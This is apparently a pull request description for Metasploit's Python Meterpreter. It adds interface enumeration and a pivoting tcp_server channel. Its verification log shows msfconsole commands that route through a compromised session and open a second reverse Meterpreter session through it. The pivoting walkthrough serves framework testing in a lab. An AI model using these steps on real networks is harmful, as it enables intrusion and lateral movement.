Python Meterpreter STDAPI Net Additions

This PR adds functionality to the python meterpreter for retrieving network interface information on Linux, Windows, and OSX.  The bulk of this for Linux and Windows was ported from the corresponding native meterpreter implementations (Netlink and GetAdaptersAddresses).  This also adds support for opening a tcp_server channel which increases the python meterpreters pivoting capabilities.

This has been tested on the following platforms:

- Python 2.6 Linux 3.2.6
- Python 2.7 Linux 3.13.4
- Python 2.5 & 2.7 Windows XP SP3
- Python 2.7 Windows 7 SP1 (Native 32-bit and Native 64-bit)
- Python 2.7 OS X 10.7.5

To avoid adding another 100+ lines the output of ipconfig from each system is on [pastebin](http://pastebin.com/fzM1gsBE)

### Verification stdapi\_net\_config\_get\_interfaces
The post/test/meterpreter module will check that IP addresses are returned from sessions in the interface information.  Additionally checking the output of 'ipconfig' on each of the major 3 platforms should yield the expected output:

```
meterpreter > ipconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 00:0c:29:4b:5c:be
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 192.168.90.168
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe4b:5cbe
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

### Verification net\_tcp\_server channel
To create a new tcp_server channel setup routes and then configure LHOST to and IP address available on the host being routed through.
Running the handler should cause the message "Started reverse handler on ... via meterpreter session X" to be displayed. While the
handler is running, netstat on the compromised host should indicate that the socket is open and listening.
```
msf4-git (S:2 J:0)  exploit(handler) > sessions -i -1
[*] Starting interaction with 9...

meterpreter > ipconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 00:0c:29:4b:5c:be
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 192.168.90.168
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe4b:5cbe
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > background 
[*] Backgrounding session 9...
msf4-git (S:2 J:0)  exploit(handler) > route add 0.0.0.0 0.0.0.0 -1
[*] Route added
msf4-git (S:2 J:0)  exploit(handler) > set LHOST 192.168.90.168
LHOST => 192.168.90.168
msf4-git (S:2 J:0)  exploit(handler) > exploit

[*] Started reverse handler on 192.168.90.168:4444 via the meterpreter on session 9
[*] Starting the payload handler...
[*] Sending stage (17308 bytes)
[*] Meterpreter session 10 opened (Local Pipe -> Remote Pipe) at 2014-03-05 15:57:54 -0500

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux 3.13.4-200.fc20.x86_64 #1 SMP Thu Feb 20 23:00:47 UTC 2014
Architecture : x86_64
Meterpreter  : python/python
meterpreter > background 
[*] Backgrounding session 10...
msf4-git (S:3 J:0)  exploit(handler) > sessions

Active sessions
===============

  Id  Type                       Information                      Connection
  --  ----                       -----------                      ----------
  8   meterpreter python/python  offsec @ WIN-82GTIDG995P         192.168.90.1:4444 -> 192.168.90.137:49190 (192.168.90.137)
  9   meterpreter python/python  root @ bt                        192.168.90.1:4444 -> 192.168.90.168:36758 (192.168.90.168)
  10  meterpreter python/python  steiner @ localhost.localdomain  Local Pipe -> Remote Pipe (172.20.220.118)

msf4-git (S:3 J:0)  exploit(handler) > 
```
Obligatory yo dawg I heard you like meterpreter sessions.

### Verification Checklist:

- [ ] run post/test/meterpreter on Windows
- [ ] run post/test/meterpreter on Linux
- [ ] run post/test/meterpreter on OSX
- [ ] run reverse_tcp handler with a remote LHOST on Windows
- [ ] run reverse_tcp handler with a remote LHOST on Linux
- [ ] run reverse_tcp handler with a remote LHOST on OSX